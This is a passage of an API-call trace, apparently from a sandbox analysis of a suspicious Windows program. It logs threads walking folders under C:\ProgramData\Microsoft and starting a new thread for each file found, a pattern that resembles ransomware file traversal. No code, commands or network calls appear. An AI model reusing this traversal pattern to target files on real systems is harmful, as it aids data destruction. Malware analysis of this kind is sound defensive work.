BaseAddress=0x17a750) returned 1 Thread: id = 545 os_tid = 0xe44 [0093.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86ed40 [0093.890] wcscpy (in: _Dest=0x1b86ed40, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" [0093.890] wcscat (in: _Dest=0x1b86ed40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\" [0093.890] wcscat (in: _Dest=0x1b86ed40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*" [0093.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0093.891] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cd90 [0093.892] wcscmp (_String1=".", _String2=".") returned 0 [0093.893] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.893] wcscmp (_String1="..", _String2=".") returned 1 [0093.893] wcscmp (_String1="..", _String2="..") returned 0 [0093.893] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0093.893] wcscmp (_String1="1036", _String2=".") returned 1 [0093.893] wcscmp (_String1="1036", _String2="..") returned 1 [0093.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ecd0 [0093.893] wcscpy (in: _Dest=0x1b86ecd0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" [0093.893] wcscat (in: _Dest=0x1b86ecd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\" [0093.893] wcscat (in: _Dest=0x1b86ecd0, _Source="1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0097.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86ecd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb4 [0097.723] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0097.723] wcscmp (_String1="3082", _String2=".") returned 1 [0097.723] wcscmp (_String1="3082", _String2="..") returned 1 [0097.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1bf0 [0097.723] wcscpy (in: _Dest=0x1b7c1bf0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" [0097.723] wcscat (in: _Dest=0x1b7c1bf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\" [0097.723] wcscat (in: _Dest=0x1b7c1bf0, _Source="3082" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082" [0097.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac [0097.724] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 0 [0097.724] FindClose (in: hFindFile=0x1cd9cd90 | out: hFindFile=0x1cd9cd90) returned 1 [0097.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0097.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ed40) returned 1 [0097.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86a30) returned 1 Thread: id = 546 os_tid = 0xe48 [0093.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd9cf10 [0093.895] wcscpy (in: _Dest=0x1cd9cf10, _Source="C:\\ProgramData\\Microsoft\\RAC\\Outbound" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Outbound") returned="C:\\ProgramData\\Microsoft\\RAC\\Outbound" [0093.895] wcscat (in: _Dest=0x1cd9cf10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\") returned="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\" [0093.895] wcscat (in: _Dest=0x1cd9cf10, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*") returned="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*" [0093.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98340 [0093.895] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c850 [0093.895] wcscmp (_String1=".", _String2=".") returned 0 [0093.895] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.895] wcscmp (_String1="..", _String2=".") returned 1 [0093.896] wcscmp (_String1="..", _String2="..") returned 0 [0093.896] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0093.896] FindClose (in: hFindFile=0x1cd9c850 | out: hFindFile=0x1cd9c850) returned 1 [0093.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98340) returned 1 [0093.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cf10) returned 1 [0093.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86b50) returned 1 Thread: id = 547 os_tid = 0xe4c [0093.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86ec60 [0093.899] wcscpy (in: _Dest=0x1b86ec60, _Source="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" [0093.899] wcscat (in: _Dest=0x1b86ec60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\" [0093.899] wcscat (in: _Dest=0x1b86ec60, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*" [0093.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98340 [0093.900] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86b50 [0093.900] wcscmp (_String1=".", _String2=".") returned 0 [0093.900] FindNextFileW (in: hFindFile=0x1cd86b50, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.900] wcscmp (_String1="..", _String2=".") returned 1 [0093.900] wcscmp (_String1="..", _String2="..") returned 0 [0093.900] FindNextFileW (in: hFindFile=0x1cd86b50, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce2a1bc0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1 [0093.900] wcscmp (_String1="RacWmiDatabase.sdf", _String2=".") returned 1 [0093.900] wcscmp (_String1="RacWmiDatabase.sdf", _String2="..") returned 1 [0093.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b7846d0 [0093.900] wcscpy (in: _Dest=0x1b7846d0, _Source="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" [0093.901] wcscat (in: _Dest=0x1b7846d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\" [0093.901] wcscat (in: _Dest=0x1b7846d0, _Source="RacWmiDatabase.sdf" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" [0097.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7846d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8 [0097.576] FindNextFileW (in: hFindFile=0x1cd86b50, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce2a1bc0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 0 [0097.576] FindClose (in: hFindFile=0x1cd86b50 | out: hFindFile=0x1cd86b50) returned 1 [0097.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98340) returned 1 [0097.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ec60) returned 1 [0097.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd869d0) returned 1 Thread: id = 548 os_tid = 0xe50 [0093.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cf10 [0093.902] wcscpy (in: _Dest=0x1cd9cf10, _Source="C:\\ProgramData\\Microsoft\\RAC\\StateData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData" [0093.902] wcscat (in: _Dest=0x1cd9cf10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\" [0093.902] wcscat (in: _Dest=0x1cd9cf10, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*" [0093.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd980d0 [0093.902] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c850 [0093.903] wcscmp (_String1=".", _String2=".") returned 0 [0093.903] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.903] wcscmp (_String1="..", _String2=".") returned 1 [0093.903] wcscmp (_String1="..", _String2="..") returned 0 [0093.903] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb35800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xecb35800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xbddb7d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="RACDAT~1.SDF")) returned 1 [0093.903] wcscmp (_String1="RacDatabase.sdf", _String2=".") returned 1 [0093.903] wcscmp (_String1="RacDatabase.sdf", _String2="..") returned 1 [0093.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8662c0 [0093.903] wcscpy (in: _Dest=0x1b8662c0, _Source="C:\\ProgramData\\Microsoft\\RAC\\StateData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData" [0093.903] wcscat (in: _Dest=0x1b8662c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\" [0093.904] wcscat (in: _Dest=0x1b8662c0, _Source="RacDatabase.sdf" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" [0097.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8662c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd88 [0097.579] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1 [0097.579] wcscmp (_String1="RacMetaData.dat", _String2=".") returned 1 [0097.579] wcscmp (_String1="RacMetaData.dat", _String2="..") returned 1 [0097.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b868d40 [0097.579] wcscpy (in: _Dest=0x1b868d40, _Source="C:\\ProgramData\\Microsoft\\RAC\\StateData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData" [0097.579] wcscat (in: _Dest=0x1b868d40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\" [0097.579] wcscat (in: _Dest=0x1b868d40, _Source="RacMetaData.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" [0097.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0097.581] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 0 [0097.581] FindClose (in: hFindFile=0x1cd9c850 | out: hFindFile=0x1cd9c850) returned 1 [0097.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd980d0) returned 1 [0097.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cf10) returned 1 [0097.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86850) returned 1 Thread: id = 549 os_tid = 0xe54 [0093.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x17a750 [0093.905] wcscpy (in: _Dest=0x17a750, _Source="C:\\ProgramData\\Microsoft\\RAC\\Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp" [0093.905] wcscat (in: _Dest=0x17a750, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\" [0093.905] wcscat (in: _Dest=0x17a750, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\*") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\*" [0093.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63da0 [0093.906] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce386400, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce386400, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c910 [0093.906] wcscmp (_String1=".", _String2=".") returned 0 [0093.906] FindNextFileW (in: hFindFile=0x1cd9c910, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce386400, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce386400, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.906] wcscmp (_String1="..", _String2=".") returned 1 [0093.906] wcscmp (_String1="..", _String2="..") returned 0 [0093.906] FindNextFileW (in: hFindFile=0x1cd9c910, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce3602a0, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xce3602a0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce3602a0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql8BDA.tmp", cAlternateFileName="")) returned 1 [0093.906] wcscmp (_String1="sql8BDA.tmp", _String2=".") returned 1 [0093.906] wcscmp (_String1="sql8BDA.tmp", _String2="..") returned 1 [0093.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b86ebf0 [0093.906] wcscpy (in: _Dest=0x1b86ebf0, _Source="C:\\ProgramData\\Microsoft\\RAC\\Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp" [0093.906] wcscat (in: _Dest=0x1b86ebf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\" [0093.906] wcscat (in: _Dest=0x1b86ebf0, _Source="sql8BDA.tmp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BDA.tmp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BDA.tmp" [0097.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ebf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd34 [0097.012] FindNextFileW (in: hFindFile=0x1cd9c910, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce386400, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xce386400, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce386400, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql8BEA.tmp", cAlternateFileName="")) returned 1 [0097.012] wcscmp (_String1="sql8BEA.tmp", _String2=".") returned 1 [0097.012] wcscmp (_String1="sql8BEA.tmp", _String2="..") returned 1 [0097.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b863a40 [0097.012] wcscpy (in: _Dest=0x1b863a40, _Source="C:\\ProgramData\\Microsoft\\RAC\\Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp" [0097.012] wcscat (in: _Dest=0x1b863a40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\" [0097.012] wcscat (in: _Dest=0x1b863a40, _Source="sql8BEA.tmp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BEA.tmp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql8BEA.tmp" [0097.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1028 [0097.013] FindNextFileW (in: hFindFile=0x1cd9c910, lpFindFileData=0x1cd63da0 | out: lpFindFileData=0x1cd63da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce386400, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xce386400, ftLastAccessTime.dwHighDateTime=0x1d699a5, 